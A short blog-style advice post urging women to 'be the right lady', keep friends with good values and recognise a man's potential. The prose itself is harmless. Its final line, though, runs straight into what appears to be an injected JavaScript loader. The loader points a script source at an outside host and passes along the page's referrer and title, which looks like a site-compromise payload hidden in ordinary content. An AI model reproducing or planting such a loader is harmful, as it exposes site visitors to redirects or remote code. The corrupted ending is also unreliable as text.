This was a question i was asked last weekend in the course of a discussion i had with a group of ladies. They were attentive and ready to grab the “tips” i was about to dish out to them on what to look out for. They asked me to give them practical steps they could take to make the right decision.
There is only one answer to this question. That is, “BE THE RIGHT LADY”. How will this be done? Build the right relationships, do away with unproductive and destiny destroying relationships. A lady who has all her life or for a good part of it had right and healthy, value driven female friends will not end up with a womaniser EXCEPT something happens to her along the line. Relationships which form our immediate environment are our strongest influences as far as thoughts, words and actions are concerned. A Yoruba proverb says a sheep that moves with a dog will inevitably eat shit. If your choice of a partner will make you lose your closest friends who have outstanding values, then you need to think again. You cannot marry someone you don’t relate with, though the degrees vary and more often than not, you either marry a friend or meet your prospective spouse through the friend of a friend. What i’m saying is simple, finding the right person is linked to your association. If your friends are costing you such an integral part of your life, severe the relationships with speed. The saying “show me your friend and i will tell you who you are” could not be truer in this case.
Ladies have a fantastic gift which only few explore or take advantage of; it’s the ability to recognise potential in a guy, to detect diamond in the rough, to recognise the qualities in a guy that they’ll be excited to see in their sons but most of them would rather go ahead and deceive themselves. Someone told me recently that ladies don’t tell each other the truth even though they know it. I thought about this and discovered it to be mostly true. They see a friend going in the wrong
direction and don’t call her to order; some even hail the friend on and deceive her into an unhappy life.
You want to recognize Mr Right? Search within, the answer lies in you…….
To be continueds.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;